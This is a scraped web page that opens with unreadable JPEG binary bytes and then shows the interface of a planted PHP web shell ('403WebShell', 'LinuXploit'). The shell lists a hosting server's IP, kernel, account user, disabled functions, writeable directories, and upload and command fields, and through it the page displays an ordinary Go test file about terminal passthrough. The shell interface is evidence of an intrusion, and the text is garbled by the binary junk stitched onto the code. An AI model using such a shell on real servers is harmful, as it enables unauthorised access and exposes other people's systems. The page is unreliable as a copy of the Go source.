JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.23  /  Your IP : 216.73.216.194
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./proc/thread-self/root/proc/thread-self/root/opt/golang/1.22.0/src/cmd/go/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./proc/thread-self/root/proc/thread-self/root/opt/golang/1.22.0/src/cmd/go//terminal_test.go
// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package main_test

import (
	"errors"
	"internal/testenv"
	"internal/testpty"
	"io"
	"os"
	"testing"

	"golang.org/x/term"
)

func TestTerminalPassthrough(t *testing.T) {
	// Check that if 'go test' is run with a terminal connected to stdin/stdout,
	// then the go command passes that terminal down to the test binary
	// invocation (rather than, e.g., putting a pipe in the way).
	//
	// See issue 18153.
	testenv.MustHaveGoBuild(t)

	// Start with a "self test" to make sure that if we *don't* pass in a
	// terminal, the test can correctly detect that. (cmd/go doesn't guarantee
	// that it won't add a terminal in the middle, but that would be pretty weird.)
	t.Run("pipe", func(t *testing.T) {
		r, w, err := os.Pipe()
		if err != nil {
			t.Fatalf("pipe failed: %s", err)
		}
		defer r.Close()
		defer w.Close()
		stdout, stderr := runTerminalPassthrough(t, r, w)
		if stdout {
			t.Errorf("stdout is unexpectedly a terminal")
		}
		if stderr {
			t.Errorf("stderr is unexpectedly a terminal")
		}
	})

	// Now test with a read PTY.
	t.Run("pty", func(t *testing.T) {
		r, processTTY, err := testpty.Open()
		if errors.Is(err, testpty.ErrNotSupported) {
			t.Skipf("%s", err)
		} else if err != nil {
			t.Fatalf("failed to open test PTY: %s", err)
		}
		defer r.Close()
		w, err := os.OpenFile(processTTY, os.O_RDWR, 0)
		if err != nil {
			t.Fatal(err)
		}
		defer w.Close()
		stdout, stderr := runTerminalPassthrough(t, r, w)
		if !stdout {
			t.Errorf("stdout is not a terminal")
		}
		if !stderr {
			t.Errorf("stderr is not a terminal")
		}
	})
}

func runTerminalPassthrough(t *testing.T, r, w *os.File) (stdout, stderr bool) {
	cmd := testenv.Command(t, testGo, "test", "-run=^$")
	cmd.Env = append(cmd.Environ(), "GO_TEST_TERMINAL_PASSTHROUGH=1")
	cmd.Stdout = w
	cmd.Stderr = w

	// The behavior of reading from a PTY after the child closes it is very
	// strange: on Linux, Read returns EIO, and on at least some versions of
	// macOS, unread output may be discarded (see https://go.dev/issue/57141).
	//
	// To avoid that situation, we keep the child process running until the
	// parent has finished reading from the PTY, at which point we unblock the
	// child by closing its stdin pipe.
	stdin, err := cmd.StdinPipe()
	if err != nil {
		t.Fatal(err)
	}

	t.Logf("running %s", cmd)
	err = cmd.Start()
	if err != nil {
		t.Fatalf("starting subprocess: %s", err)
	}
	w.Close()
	t.Cleanup(func() {
		stdin.Close()
		if err := cmd.Wait(); err != nil {
			t.Errorf("suprocess failed with: %s", err)
		}
	})

	buf := make([]byte, 2)
	n, err := io.ReadFull(r, buf)
	if err != nil || !(buf[0] == '1' || buf[0] == 'X') || !(buf[1] == '2' || buf[1] == 'X') {
		t.Logf("read error: %v", err)
		t.Fatalf("expected 2 bytes matching `[1X][2X]`; got %q", buf[:n])
	}
	return buf[0] == '1', buf[1] == '2'
}

func init() {
	if os.Getenv("GO_TEST_TERMINAL_PASSTHROUGH") == "" {
		return
	}

	if term.IsTerminal(1) {
		os.Stdout.WriteString("1")
	} else {
		os.Stdout.WriteString("X")
	}
	if term.IsTerminal(2) {
		os.Stdout.WriteString("2")
	} else {
		os.Stdout.WriteString("X")
	}

	// Before exiting, wait for the parent process to read the PTY output,
	// at which point it will close stdin.
	io.Copy(io.Discard, os.Stdin)

	os.Exit(0)
}

Youez - 2016 - github.com/yon3zu
LinuXploit